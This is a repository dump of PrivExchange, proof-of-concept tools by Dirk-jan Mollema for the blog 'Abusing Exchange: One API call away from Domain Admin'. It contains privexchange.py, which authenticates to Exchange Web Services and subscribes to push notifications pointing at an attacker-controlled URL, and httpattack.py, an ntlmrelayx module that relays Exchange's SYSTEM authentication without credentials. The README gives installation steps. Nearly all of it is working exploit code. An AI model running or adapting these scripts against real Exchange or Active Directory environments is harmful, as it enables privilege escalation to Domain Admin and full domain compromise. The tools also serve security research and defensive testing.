├── .gitignore
├── LICENSE
├── README.md
├── httpattack.py
├── privexchange.py
└── requirements.txt
/.gitignore:
--------------------------------------------------------------------------------
1 | build/
2 | *.egg-info
3 | dist/
4 | *.pyc
5 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2019 Dirk-jan
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # PrivExchange
2 | POC tools accompanying the blog [Abusing Exchange: One API call away from Domain Admin](https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/).
3 |
4 | ## Requirements
5 | These tools require [impacket](https://github.com/SecureAuthCorp/impacket). You can install it from pip with `pip install impacket`, but it is recommended to use the latest version from GitHub.
6 |
7 | ## privexchange.py
8 | This tool simply logs in on Exchange Web Services to subscribe to push notifications. This will make Exchange connect back to you and authenticate as system.
9 |
10 | ## httpattack.py
11 | Attack module that can be used with ntlmrelayx.py to perform the attack without credentials. To get it working:
12 | - Modify the attacker URL in `httpattack.py` to point to the attacker's server where ntlmrelayx will run
13 | - Clone impacket from GitHub `git clone https://github.com/SecureAuthCorp/impacket`
14 | - Copy this file into the `/impacket/impacket/examples/ntlmrelayx/attacks/` directory.
15 | - `cd impacket`
16 | - Install the modified version of impacket with `pip install . --upgrade` or `pip install -e .`
--------------------------------------------------------------------------------
/httpattack.py:
--------------------------------------------------------------------------------
1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
2 | #
3 | # This software is provided under under a slightly modified version
4 | # of the Apache Software License. See the accompanying LICENSE file
5 | # for more information.
6 | #
7 | # HTTP Attack Class
8 | #
9 | # Authors:
10 | # Alberto Solino (@agsolino)
11 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com)
12 | #
13 | # Description:
14 | # HTTP protocol relay attack
15 | #
16 | # ToDo:
17 | #
18 | import xml.etree.ElementTree as ET
19 | from impacket.examples.ntlmrelayx.attacks import ProtocolAttack
20 | from impacket import LOG
21 |
22 | # SOAP request for EWS
23 | # Source: https://docs.microsoft.com/en-us/exchange/client-developer/web-service-reference/subscribe-operation
24 | # Credits: https://www.thezdi.com/blog/2018/12/19/an-insincere-form-of-flattery-impersonating-users-on-microsoft-exchange
25 | POST_BODY = '''
26 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 | NewMailEvent
37 | ModifiedEvent
38 | MovedEvent
39 |
40 | 1
41 | %s
42 |
43 |
44 |
45 |
46 | '''
47 | PROTOCOL_ATTACK_CLASS = "HTTPAttack"
48 |
49 | class HTTPAttack(ProtocolAttack):
50 | """
51 | This is a modified HTTPAttack which triggers authentication from EWS
52 | """
53 | PLUGIN_NAMES = ["HTTP", "HTTPS"]
54 | def run(self):
55 | ews_url = "/EWS/Exchange.asmx"
56 |
57 | headers = {"Content-type": "text/xml; charset=utf-8", "Accept": "text/xml","User-Agent": "ExchangeServicesClient/0.0.0.0","Translate": "F"}
58 |
59 | # Replace with your attacker url!
60 | attacker_url = 'http://dev.testsegment.local/myattackerurl/'
61 |
62 | self.client.request("POST", ews_url, POST_BODY % attacker_url, headers)
63 | res = self.client.getresponse()
64 |
65 | LOG.debug('HTTP status: %d', res.status)
66 | body = res.read()
67 | LOG.debug('Body returned: %s', body)
68 | if res.status == 200:
69 | LOG.info('Exchange returned HTTP status 200 - authentication was OK')
70 | # Parse XML with ElementTree
71 | root = ET.fromstring(body)
72 | code = None
73 | for response in root.iter('{http://schemas.microsoft.com/exchange/services/2006/messages}ResponseCode'):
74 | code = response.text
75 | if not code:
76 | LOG.error('Could not find response code element in body: %s', body)
77 | return
78 | if code == 'NoError':
79 | LOG.info('API call was successful')
80 | elif code == 'ErrorMissingEmailAddress':
81 | LOG.error('The user you authenticated with does not have a mailbox associated. Try a different user.')
82 | else:
83 | LOG.error('Unknown error %s', code)
84 | for errmsg in root.iter('{http://schemas.microsoft.com/exchange/services/2006/messages}ResponseMessages'):
85 | LOG.error('Server returned: %s', errmsg.text)
86 | elif res.status == 401:
87 | LOG.error('Server returned HTTP status 401 - authentication failed')
88 | else:
89 | LOG.error('Server returned HTTP %d: %s', res.status, body)
90 |
--------------------------------------------------------------------------------
/privexchange.py:
--------------------------------------------------------------------------------
1 | #! /usr/bin/env python3
2 |
3 | ####################
4 | #
5 | # Copyright (c) 2019 Dirk-jan Mollema
6 | #
7 | # Minor fixes by @byt3bl33d3r
8 | #
9 | # Permission is hereby granted, free of charge, to any person obtaining a copy
10 | # of this software and associated documentation files (the "Software"), to deal
11 | # in the Software without restriction, including without limitation the rights
12 | # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
13 | # copies of the Software, and to permit persons to whom the Software is
14 | # furnished to do so, subject to the following conditions:
15 | #
16 | # The above copyright notice and this permission notice shall be included in all
17 | # copies or substantial portions of the Software.
18 | #
19 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
20 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
21 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
22 | # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
23 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
24 | # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
25 | # SOFTWARE.
26 | #
27 | ####################
28 |
29 | import ssl
30 | import argparse
31 | import logging
32 | import sys
33 | import getpass
34 | import base64
35 | import re
36 | import binascii
37 | import concurrent.futures
38 | import xml.etree.ElementTree as ET
39 | from http.client import HTTPConnection, HTTPSConnection, ResponseNotReady
40 | from impacket import ntlm
41 |
42 |
43 | # SOAP request for EWS
44 | # Source: https://docs.microsoft.com/en-us/exchange/client-developer/web-service-reference/subscribe-operation
45 | # Credits: https://www.thezdi.com/blog/2018/12/19/an-insincere-form-of-flattery-impersonating-users-on-microsoft-exchange
46 | POST_BODY = '''
47 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 | NewMailEvent
58 | ModifiedEvent
59 | MovedEvent
60 |
61 | 1
62 | {}
63 |
64 |
65 |
66 |
67 | '''
68 |
69 | EXCHANGE_VERSIONS = ["2010_SP1","2010_SP2","2013","2016"]
70 |
71 | def do_privexchange(host, attacker_url):
72 | # Init connection
73 | if not args.no_ssl:
74 | # HTTPS = default
75 | port = 443 if not args.exchange_port else int(args.exchange_port)
76 | uv_context = ssl.SSLContext(ssl.PROTOCOL_SSLv23)
77 | uv_context.verify_mode = ssl.CERT_NONE
78 | session = HTTPSConnection(host, port, timeout=args.timeout, context=uv_context)
79 | else:
80 | # Otherwise: HTTP
81 | port = 80 if not args.exchange_port else int(args.exchange_port)
82 | session = HTTPConnection(host, port, timeout=args.timeout)
83 |
84 | # Use impacket for NTLM
85 | ntlm_nego = ntlm.getNTLMSSPType1(args.attacker_host, domain=args.domain)
86 |
87 | #Negotiate auth
88 | negotiate = base64.b64encode(ntlm_nego.getData())
89 | # Headers
90 | # Source: https://github.com/thezdi/PoC/blob/master/CVE-2018-8581/Exch_EWS_pushSubscribe.py
91 | headers = {
92 | "Authorization": 'NTLM {}'.format(negotiate),
93 | "Content-type": "text/xml; charset=utf-8",
94 | "Accept": "text/xml",
95 | "User-Agent": "ExchangeServicesClient/0.0.0.0",
96 | "Translate": "F"
97 | }
98 |
99 | session.request("POST", ews_url, POST_BODY.format(args.exchange_version, attacker_url), headers)
100 |
101 | res = session.getresponse()
102 | res.read()
103 |
104 | # Copied from ntlmrelayx httpclient.py
105 | if res.status != 401:
106 | logging.info('Status code returned: {}. Authentication does not seem required for URL'.format(res.status))
107 | try:
108 | if 'NTLM' not in res.getheader('WWW-Authenticate'):
109 | logging.error('NTLM Auth not offered by URL, offered protocols: {}'.format(res.getheader('WWW-Authenticate')))
110 | return False
111 | except (KeyError, TypeError):
112 | logging.error('No authentication requested by the server for url {}'.format(ews_url))
113 | return False
114 |
115 | logging.debug('Got 401, performing NTLM authentication')
116 | # Get negotiate data
117 | try:
118 | ntlm_challenge_b64 = re.search('NTLM ([a-zA-Z0-9+/]+={0,2})', res.getheader('WWW-Authenticate')).group(1)
119 | ntlm_challenge = base64.b64decode(ntlm_challenge_b64)
120 | except (IndexError, KeyError, AttributeError):
121 | logging.error('No NTLM challenge returned from server')
122 | return
123 |
124 | if args.hashes:
125 | lm_hash_h, nt_hash_h = args.hashes.split(':')
126 | # Convert to binary format
127 | lm_hash = binascii.unhexlify(lm_hash_h)
128 | nt_hash = binascii.unhexlify(nt_hash_h)
129 | args.password = ''
130 | else:
131 | nt_hash = ''
132 | lm_hash = ''
133 |
134 | ntlm_auth, _ = ntlm.getNTLMSSPType3(ntlm_nego, ntlm_challenge, args.user, args.password, args.domain, lm_hash, nt_hash)
135 | auth = base64.b64encode(ntlm_auth.getData())
136 |
137 | headers = {
138 | "Authorization": 'NTLM {}'.format(auth),
139 | "Content-type": "text/xml; charset=utf-8",
140 | "Accept": "text/xml",
141 | "User-Agent": "ExchangeServicesClient/0.0.0.0",
142 | "Translate": "F"
143 | }
144 |
145 | session.request("POST", ews_url, POST_BODY.format(args.exchange_version, attacker_url), headers)
146 | res = session.getresponse()
147 |
148 | logging.debug('HTTP status: {}'.format(res.status))
149 | body = res.read()
150 | logging.debug('Body returned: {}'.format(body))
151 | if res.status == 200:
152 | logging.info('Exchange returned HTTP status 200 - authentication was OK')
153 | # Parse XML with ElementTree
154 | root = ET.fromstring(body)
155 | code = None
156 | for response in root.iter('{http://schemas.microsoft.com/exchange/services/2006/messages}ResponseCode'):
157 | code = response.text
158 | if not code:
159 | logging.error('Could not find response code element in body: {}'.format(body))
160 | return
161 | if code == 'NoError':
162 | logging.info('API call was successful')
163 | elif code == 'ErrorMissingEmailAddress':
164 | logging.error('The user you authenticated with does not have a mailbox associated. Try a different user.')
165 | else:
166 | logging.error('Unknown error {}'.format(code))
167 | for errmsg in root.iter('{http://schemas.microsoft.com/exchange/services/2006/messages}ResponseMessages'):
168 | logging.error('Server returned: %s', errmsg.text)
169 | # Detect Exchange 2010
170 | for versioninfo in root.iter('{http://schemas.microsoft.com/exchange/services/2006/types}ServerVersionInfo'):
171 | if int(versioninfo.get('MajorVersion')) == 14:
172 | logging.info('Exchange 2010 detected. This version is not vulnerable to PrivExchange.')
173 | elif res.status == 401:
174 | logging.error('Server returned HTTP status 401 - authentication failed')
175 | else:
176 | if res.status == 500:
177 | if 'ErrorInvalidServerVersion' in body:
178 | logging.error('Server does not accept this Exchange dialect, specify a different Exchange version with --exchange-version')
179 | return
180 | else:
181 | logging.error('Server returned HTTP {}: {}'.format(res.status, body))
182 |
183 | if __name__ == '__main__':
184 | parser = argparse.ArgumentParser(description='Exchange your privileges for Domain Admin privs by abusing Exchange. Use me with ntlmrelayx')
185 | parser.add_argument("hosts", nargs='+', type=str, metavar='HOSTNAME', help="Hostname(s)/ip(s) of the Exchange server")
186 | parser.add_argument("-u", "--user", metavar='USERNAME', help="username for authentication")
187 | parser.add_argument("-d", "--domain", metavar='DOMAIN', help="domain the user is in (FQDN or NETBIOS domain name)")
188 | parser.add_argument("-t", "--timeout", default=10, type=int, metavar="TIMEOUT", help="HTTP(s) connection timeout (Default: 10 seconds)")
189 | parser.add_argument("-p", "--password", metavar='PASSWORD', help="Password for authentication, will prompt if not specified and no NT:NTLM hashes are supplied")
190 | parser.add_argument('--hashes', action='store', help='LM:NLTM hashes')
191 | parser.add_argument("--no-ssl", action='store_true', help="Don't use HTTPS (connects on port 80)")
192 | parser.add_argument("--exchange-port", help="Alternative EWS port (default: 443 or 80)")
193 | parser.add_argument("-ah", "--attacker-host", required=True, help="Attacker hostname or IP")
194 | parser.add_argument("-ap", "--attacker-port", default=80, help="Port on which the relay attack runs (default: 80)")
195 | parser.add_argument("-ev", "--exchange-version", choices=EXCHANGE_VERSIONS, default="2013", help="Exchange dialect version (Default: 2013)")
196 | parser.add_argument("--attacker-page", default="/privexchange/", help="Page to request on attacker server (default: /privexchange/)")
197 | parser.add_argument("--debug", action='store_true', help='Enable debug output')
198 | args = parser.parse_args()
199 |
200 | ews_url = "/EWS/Exchange.asmx"
201 |
202 | # Init logging
203 | logger = logging.getLogger()
204 | logger.setLevel(logging.INFO)
205 | stream = logging.StreamHandler(sys.stderr)
206 | stream.setLevel(logging.DEBUG)
207 | formatter = logging.Formatter('%(levelname)s: %(message)s')
208 | stream.setFormatter(formatter)
209 | logger.addHandler(stream)
210 |
211 | # Should we log debug stuff?
212 | if args.debug is True:
213 | logger.setLevel(logging.DEBUG)
214 |
215 | if args.password is None and args.hashes is None:
216 | args.password = getpass.getpass()
217 |
218 | # Construct attacker url
219 | attacker_url = 'http://{}{}'.format(args.attacker_host, args.attacker_page)
220 | if args.attacker_port != 80:
221 | attacker_url = 'http://{}:{}{}'.format(args.attacker_host, int(args.attacker_port), args.attacker_page)
222 |
223 | logging.info('Using attacker URL: {}'.format(attacker_url))
224 |
225 | with concurrent.futures.ThreadPoolExecutor(max_workers=len(args.hosts)) as executor:
226 | tasks = {executor.submit(do_privexchange, host, attacker_url): host for host in args.hosts}
227 |
228 | for future in concurrent.futures.as_completed(tasks):
229 | url = tasks[future]
230 | try:
231 | future.result()
232 | except Exception as e:
233 | logging.error("Got exception for host {}: {}".format(url, e))
234 |
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 | -i https://pypi.org/simple
2 | cffi==1.13.1
3 | click==7.0
4 | cryptography==2.8
5 | dnspython==1.16.0
6 | flask==1.1.1
7 | future==0.18.1
8 | impacket==0.9.20
9 | itsdangerous==1.1.0
10 | jinja2==2.10.3
11 | ldap3==2.5.1
12 | ldapdomaindump==0.9.1
13 | markupsafe==1.1.1
14 | pyasn1==0.4.7
15 | pycparser==2.19
16 | pycryptodomex==3.9.0
17 | pyopenssl==19.0.0
18 | six==1.12.0
19 | werkzeug==0.16.0
20 |
--------------------------------------------------------------------------------